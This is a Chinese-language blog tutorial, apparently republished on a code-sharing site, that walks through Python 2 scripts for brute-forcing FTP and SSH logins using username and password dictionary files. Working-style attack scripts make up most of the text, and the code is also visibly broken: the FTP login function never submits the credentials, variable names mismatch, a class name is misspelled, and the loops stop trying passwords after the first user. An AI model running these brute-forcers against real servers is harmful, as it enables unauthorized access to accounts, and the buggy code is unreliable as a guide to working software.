当前位置: 代码迷 >> 综合 >> 菜鸟渗透日记36---python渗透测试编程之身份认证攻击2-FTP、SSH服务暴力破解
  详细解决方案

菜鸟渗透日记36---python渗透测试编程之身份认证攻击2-FTP、SSH服务暴力破解

热度:83   发布时间:2024-01-29 06:03:45.0

书接上文

菜鸟渗透日记35---python渗透测试编程之身份认证攻击1-密码字典

上回更新了密码字典,现在更新一下利用密码字典进行爆破操作。

目录

FTP暴力破解模块

基础知识介绍

使用Python实现FTP暴力破解

SSH暴力破解模块

基础知识介绍

使用Python实现SSH暴力破解


FTP暴力破解模块

基础知识介绍

FTP是文件传输协议的简称,用于在internet上控制文件的双向传输。同时,它也是一个应用程序,使用FTP必须要首先登陆,在远程主机上获得相应得权限后,方可下载或上传文件。也就是说,要想向哪一台计算机传送文件,就必须具有那一台计算机得授权后。简单来说就是需要拿到对方的用户ID和口令。否则无法传输文件。

简单了解一下FTP的工作流程

1)客户端去连接目标FTP服务器的21号端口,建立命令通道。服务器会向客户端发送“220 Free Float Ftp Server(version x.xx)”回应,括号内的信息回因为服务器版本不同而不同

2)客户端向服务器发送“USER 用户名\r\n”,服务器会返回“331 Please specify the password .\r\n”。

3)客户端向服务器发送“PASS 密码\r\n”,如果密码认证成功服务器会返回“230 User Logged in.\r\n”。

这就是FTP登陆的过程的前三个步骤,后面的步骤和破解模块编写联系不大。

使用Python实现FTP暴力破解

Python中默认提供了一个专门用来对FTP进行操作的ftplib模块,这个模块很精简,里面提供了一些用来实现登录、上传和下载的函数。

1)ftp.connect("IP","port") #连接FTP server和端口

2)ftp.login("user","password")#连接的用户名,密码

3)ftp.retrlines(command[,callback])#使用文本传输模式返回服务器上执行命令的结果。

下面使用ftplib函数按照登录流程进行操作。

import ftplib

使用ftplib创建一个FTP对象。

ftp=ftplib.FTP("192.168.65.142")

调用这个对象中的connect()函数去连接目标的21号端口

ftp.connect("192.168.65.142",21,timeout=10)

调用这个对象中的login()函数使用admin作为用户名,test作为密码来登陆。

ftp.login("admin","test")

如果登陆成功,就会得到一个230回应。

然后使用LIST命令,来展示FTP服务器中的文件。

ftp.retrlines('LIST')

最后使用quit()函数断开与FTP服务器的连接

ftp.quit()

综上,我们来编写一个使用指定用户名和密码登陆FTP服务器的Python程序。

def Login(FTPServer,userName,passwords):
try:
f = ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.retrlines('LIST')
f.quit()
print'We get right passwords!'
except ftplib.all_errors:
pass

现在,我们写了一个指定用户名和密码登陆的程序。接下来根据这个程序,我们来编写一个利用导入的字典包,进行暴力破解FTP服务的Python程序。

import sys
import ftplib
if len(sys.argv) != 4:
print "FTPbrute.py <FTPServer><UserDic><PasswordDic>"
sys.exit(1)
FTPServer = sys.argv[1]
UserDic = sys.argv[2]
PasswordDic = sys.argv[3]
def Login(FTPServer,userName,passwords):
try:
f = ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.retrlines('LIST')
f.quit()
print "The userName is %s and password is %s" %(userName,passwords)
except ftplib.all_errors:
pass
UserNmaeFile = open(userDic,"r")
PasswordFile = open(PasswordDic,"r")
for user in userNameFile.readlines():
for passwd in PasswordFile.readlines():
un = user.strip('\n')
pw = passwd.strip('\n')
Login(FTPServer,un,pw)

在执行过程中,只需要指定目标服务器地址、user的字典、passwd字典就可以。

SSH暴力破解模块

基础知识介绍

SSH是Secure Shell的缩写,有IETF的网络小组所指定。SSH是建立在应用层基础上的安全协议。SSH目前较为可靠,专为远程登陆会话和其他网络服务提供安全性的协议。利用SSH协议可以有效的防止远程管理过程中的信息泄露问题。

这个协议和Telnet协议一样,都是可以用来实现远程管理,但是Telnet由于在传输过程中没有任何的方式的加密,所以被认为是不安全的,而SSH则成为目前远程管理首选的协议。

相比FTP,除了功能上有所不同之外,SSH登陆的过程也要复杂一些,首先建立一个SSH服务器,推荐使用WinSSHD工具自行创建。这里省略掉。

相比于FTP登陆,在SSH登陆中,数据需要加密,这一点我们通过Python库:pxssh来实现。

主要函数如下:

1)connect(host,user,password):建立到目标机器的SSH连接。

2)send_command(s,cmd):发送命令

3)logout():释放该连接。

4)prompt():等待提示符,通常用于等待命令执行结束。

使用Python实现SSH暴力破解

利用这个pxssh库,只需要对前面的代码进行修改即可。

import sys
from pexpect import pxssh
if len(sys.argv) != 4:
print "SSHbrute.py <SSHServer><UserDic><PasswordDic>"
sys.exit(1)
SSHServer = sys.argv[1]
UserDic = sys.argv[2]
PasswordDic = sys.argv[3]
def Login(SSHServer,userName,passwords):
try:
s = pxssh.pxsh()
s.login(SSHServer,userName,passwords)
print "The userName is %s and password is %s" %(userName,passwords)
except :
print '[-] Error Connecting'
UserNmaeFile = open(userDic,"r")
PasswordFile = open(PasswordDic,"r")
for user in userNameFile.readlines():
for passwd in PasswordFile.readlines():
un = user.strip('\n')
pw = passwd.strip('\n')
Login(SSHServer,un,pw)

pxssh类存在于pexpect模块里,如果KaliLinux2中已经安装此类但是没有pxssh类,建议使用命令。

pip install --upgrade pexpect

进行更新即可。

  相关解决方案